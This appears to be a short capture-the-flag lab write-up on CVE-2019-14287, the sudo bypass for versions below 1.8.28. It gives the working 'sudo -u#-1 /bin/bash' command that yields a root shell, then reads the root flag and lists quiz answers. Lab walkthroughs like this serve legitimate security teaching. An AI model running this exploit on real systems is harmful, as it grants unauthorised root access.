

## Sudo Security Bypass

CVE-2019-14287 is a vulnerability found in the Unix Sudo program by a researcher working for Apple: Joe Vennix. Coincidentally, he also found the vulnerability that we'll be covering in the next room of this series. This exploit has since been fixed, but may still be present in older versions of Sudo (versions < 1.8.28), so it's well worth keeping an eye out for!

To bypass you can use:

```
sudo -u#-1 <command> //In this case -1 is treated as 0 which is UID of root.
```

```
sudo -u#-1 /bin/bash
```

Yeeppp we are now root

```
cat /root/root.txt
```

Questions

Sudo -l

Ans: /bin/bash

Question 2

```
cat /root/root.txt
```